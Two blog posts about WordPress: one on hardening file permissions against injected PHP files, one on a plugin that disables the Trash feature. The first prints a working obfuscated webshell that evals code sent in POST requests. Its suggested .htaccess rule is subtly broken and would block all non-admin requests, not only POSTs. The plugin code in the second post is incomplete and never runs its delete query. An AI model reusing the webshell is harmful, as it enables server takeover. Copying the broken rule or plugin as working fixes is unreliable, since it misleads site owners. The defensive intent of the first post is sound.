How to avoid WordPress infected files by auditing file permissions?

Problem overview:

This is ture that WordPress engine has security flaws. It is true that WordPress plugins is written without taking care of security.

Recently I had to restore many WordPress instalations due to executing malicious code on servers (like a sending mail spam via sendmail).

But many hosting providers server’s configuration SUCKS! And I will explain you why.

First: WordPress could be attacked in many ways, we will cover one of them which is related with file permissions and wrong configuration.

Some example of executing malicious code

The most common example is creating many fucking infected *.php files (like post_3be78.php) that executing code that has been injected in $_POST request variable. These files has obfluscated content to be unable to recognize for human eye. Example:

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n6769b6'])) {eval($s21(${$s20}['n6769b6']));}?>

The infected files may contain more cynical content but you will recognize this crap at first glance.

Server providers SUCKS!

Server providers sucks.

Thats because they runs PHP scripts from the same user that uploaded file (FTP user).

Extremely important fact:
If your scripts are executed from the FTP user = you have trouble.

why u executin php files

How to check if your hosting provider sucks?

  1. Simply create a new directory via FTP.
    Make sure that it have default 755 permisions, means only owner user of the directory has permissions to write new files on it.
  2. Create a new file test.php with content below and upload to that directory:
  3. Show file output result by accessing it via HTTP.

If the result is bool(true), the script have access to write any file to directory which exisis in. Yes? DAFUQ? Who agreed to it?

The second var_dump returns the user that executes this script. If this user is the same user that is your

FTP user, the result is correct, because this user is the owner or created directory and can write to it any files.

What does it means?

Any script file executed on

server have global permissions to write anywhere. It is security flaw of server configuration.

Sevrals years ago there was a standard that it have been required to set a chmod to directories/files where we permits to write.

How to avoid server configuration security flaw?

  1. You are hosting provider customer.Cannot. You have you ask your administrators that they can run your php scripts as different user that is your FTP user.If they disagree, get the fuck out of your hosting provider and look up for another. Wojciech is providing such services.
  2. If you are administrator, just set another user to run your php scripts.
    For Apache example:

    Edit file /etc/apache2/envvars (or wherever you have this crap)

    export APACHE_RUN_USER=www-data
    export APACHE_RUN_GROUP=www-data
    For Nginx + php-fpm

    Edit your pool configuration:

    user = www-data
    group = www-data

Temporary fix in .htaccess

Most of infected files that executes malicious code is beeing populated by $_POST requests. This is because of more much code can be send via HTTP POST request payload, because GET payload size is limited.

You can temporarly disable POST requests to URL’s that you don’t want to receive POST requests. This will block all new infected files, because you are creating a white list, not black list.

Example .htaccess file, this responds Error 404 while sending POST requests on urls different from /wp-login.php and /wp-admin*

# BEGIN WordPress

RewriteEngine On
RewriteBase /

#POST requests disable
RewriteCond %{REQUEST_URI} !^/wp-login.php [NC]
RewriteCond %{REQUEST_URI} !^/wp-admin [NC]
RewriteRule .* - [R=404,L]

RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# END WordPress

That all. I hope it helped.

Can I do more?


  1. “Wyczaruj sobie spokój”, Krzysiek Dróżdż (PL)

How to disable trash wordpress feature plugin

Howdy! Recently, I have been working a lot with WordPress engine, modyfying behind the site by writing plugins. I wonder to share my knowledge I collected under The Wordrpess Optimalizations tag, where a lot of simple tricks will be published. I also know that in the web there are a few of advises related with turning WordPress optimized and combination with your’s flair, the WordPress can become a powerfull, huge toll able to build simply sites as well as advanced solutions. The main advantage of WordPress is well developed backend, so you don’t have to care about beautiful and simply way to publish content and concentrate in frontent, striving to make a website much friendly to end user.

Unfortunately, the WordPress has many features that in common are not required in your project. Obviously, it generates relatively huge overhead to server, database and so one.

This post describes how to disable the “Trash” feature, which has been introduced in version 2.9 aimed to keep posts until permament deletion, such as deleting files in operating system. Deleted items are not deleted permanently from the database in fact, instead they appears in “Trash” by marking them as deleted, setting the flag.

Disabling trash manually

To disable trash in wordpress, you can simply define the constant EMPTY_TRASH_DAYS, for example in your wp-config.php.

define('EMPTY_TRASH_DAYS', 0);

From now, all options “Move to trash” will no longer apperar in admin pages, the functionality is just disabled. Just… but copies of posts marked as deleted are still in the database. To truncate them, just execute the sql statement:

DELETE p, p_rel, p_meta
 FROM wp_posts p
 LEFT JOIN wp_term_relationships p_rel ON (p.ID = p_rel.object_id)
 LEFT JOIN wp_postmeta p_meta ON (p.ID = p_meta.post_id)
 WHERE p.post_status = 'trash'

All posts marked as “Move to trash” will be deleted, and theirs post meta (custom fields) and taxonomy relations will be truncated too. The database now is clean.

Writing simple plugin.

We will write a simple plugin. In the /wp-content/plugins/MyPlugin/ create a file plugin.php, and the code within:

define('EMPTY_TRASH_DAYS', 0);
register_activation_hook(__FILE__, function() {
 global $wpdb;
$query = "DELETE p, p_rel, p_meta
 FROM " . $wpdb->posts . " p
 LEFT JOIN " . $wpdb->term_relationships . " p_rel ON (p.ID = p_rel.object_id)
 LEFT JOIN " . $wpdb->postmeta . " p_meta ON (p.ID = p_meta.post_id)
 WHERE p.post_status = 'trash'";

The Trash feature is disabled by setting the EMPTY_TRASH_DAYS constant, and posts moved to trash will be deleted while plugin activation. We used register_activation_hook function with anonymous function javascript-like callback function (PHP 5.3).

Download the plugin

The plugin compiled to be ready to install is available here:

Hope the post will be helpfull.